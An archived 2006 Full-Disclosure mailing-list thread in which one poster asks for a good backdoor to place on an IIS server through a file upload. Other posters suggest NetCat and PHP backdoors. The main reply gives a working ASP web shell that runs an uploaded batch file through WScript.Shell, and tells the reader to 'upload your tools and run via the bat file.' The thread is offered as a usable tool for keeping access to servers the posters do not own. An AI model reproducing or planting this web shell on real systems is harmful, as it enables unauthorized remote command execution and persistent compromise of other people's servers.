full-disclosure - Re: Good ASP backdoor?

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Thu, 14 Sep 2006 23:43:11 +0100
From: c0ntex <c0ntexb@...il.com>
To: "Jason Miller" <jammer128@...il.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Good ASP backdoor?

Nothing spiffing but it works,

<%@ Page language="VB" Debug="true" aspcompat="true" %>
<%
    shell("C:\Program Files\WebApp\Uploads\owned.bat")
%>
<script runat=server>
   Sub blah()
       Dim SpawnShell = server.CreateObject("WScript.Shell")
       SpawnShell.Run("C:\Program Files\WebApp\Uploads\owned.bat")
   End sub
</script>


then just upload your tools and run via the bat file.  Does the job.


On 14/09/06, Jason Miller <jammer128@...il.com> wrote:
> http://replica-solutions.de/
> has some php based ones, check it out
>
> On 9/14/06, Exibar < exibar@...lair.com> wrote:
> > NetCat is a tried and true favorite....
> >
> >
> > ----- Original Message -----
> > From: "Lachniet, Mark" <mlachniet@...uoianet.com>
> > To: <full-disclosure@...ts.grok.org.uk>
> > Sent: Thursday, September 14, 2006 2:44 PM
> > Subject: [Full-disclosure] Good ASP backdoor?
> >
> >
> > > Can anyone suggest a good backdoor for placing on a IIS server when you
> > > can upload a file to document root?  For exapmle an all-in-one tool with
> > > upload, download, command execution, etc.  There are several basic ones
> > > out there - I was wondering if anyone ever wrote a really spiffy one.
> > >
> > > Thanks in advance,
> > >
> > > Mark Lachniet
> > >
> > > _______________________________________________
> > > Full-Disclosure - We believe in it.
> > > Charter:
> http://lists.grok.org.uk/full-disclosure-charter.html
> > > Hosted and sponsored by Secunia - http://secunia.com/
> > >
> > >
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter:
> http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
> >
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter:
> http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>


-- 

regards
c0ntex

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/